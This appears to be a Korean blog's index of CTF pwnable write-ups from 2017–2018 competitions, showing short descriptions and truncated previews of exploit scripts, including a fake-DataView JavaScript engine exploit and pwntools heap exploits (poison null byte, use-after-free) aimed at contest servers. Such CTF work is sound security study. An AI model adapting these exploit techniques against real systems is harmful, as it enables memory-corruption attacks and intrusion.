Pwnable/CTF
-
PCTF 2017 ChakrazyPwnable/CTF 2018. 12. 25. 00:14
FakeDataview 만들어서 익스하면된다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 function set_dv(arr,lo,hi) { arr[0] = 56 arr[4] = (lo - 574280) ..
-
-
SECCON 2017 vm_no_funPwnable/CTF 2018. 8. 15. 11:44
VM 공부할겸 풀어봄 ㅎ 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164..
-
Codegate 2018 7ameBOX1Pwnable/CTF 2018. 5. 21. 20:46
p21함수는 _7amebox1에 있는 write_memory_tri 코드를 가지고 왔다. _7amebox1 디버깅용으로 코드를 복사해서 firmware Opcode, op_type 등을 출력하여서 분석 하면 오버플로우 취약점이 있다는 것을 알 수 있다. 그리고 뚝딱 풀면 된다. 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667from pwn import *import structimport stringfrom hashlib import sha1p=process('vm_name.py') def proof_of_work(): globa..
-
RCTF 2018 Write upPwnable/CTF 2018. 5. 21. 15:22
Baby HEAP 운 좋게 1등으로 문제를 풀었다 !! 문자열을 입력받는 함수에서 POISON-NULL-Byte 취약점이 생긴다.취약점을 써서 뚝딱 풀면 된다. 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657from pwn import * #p=process('./babyheap')p=remote('babyheap.2018.teamrois.cn',3154) def alloc(size,content): p.sendlineafter(': ','1') p.sendlineafter(': ',str(size)) p.sendlineafter(': ',content) def s..
-
Secuinside 2017 vvvPwnable/CTF 2018. 5. 13. 20:23
VVV는 배열들을 구현하는 프로그램이다. Native arrayNativeInt arrayStringBig IntSmall Int 위와 같이 5개가 있다. 1234567891011121314151617181920212223242526272829303132333435363738390x1000 { 0x10001000, 0x17 NativeArray NativeArray* vtable int32_t argument_cmd_1000 int32_t two 12 int64_t array_size 16 int64_t size 24 char* array_size_heap[] 32} 0x1000 { 0x10001000, else NativeIntArray NativeIntArray* vtable int32_t argum..
-
Codegate 2017 JsWorldPwnable/CTF 2018. 5. 10. 17:00
b*js::math_atan vp=(주소)주소 + 2(qword)를 하면 인자 주소가 나온다JS:array는 int ?? + int rel_size + int?? int_length_size + data가 들어감. relsize옆에 데이터를 가르키는 주소가 있음winmerge 프로그램으로 소스 비교하면서 취약점 찾을수있음 아래 주소에 모든 것이 들어가 있다..참고: https://bpsecblog.wordpress.com/2017/04/27/javascript_engine_array_oob/ 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646..
-
Codegate 2018 FinalPwnable/CTF 2018. 4. 10. 01:37
heapbabe ((dup)UAF + 1byte brute force) 1234567891011121314151617181920212223242526272829303132333435363738394041from pwn import * #p=process('./heapbabe')p=remote('110.10.147.41',8888) def allocate(size,contents): p.sendlineafter('>> ','A') p.sendlineafter('size : ',str(size)) p.sendafter('contents : ',contents) def delete(idx): p.sendlineafter('>> ','F') p.sendlineafter('id : ',str(idx)) p.sen..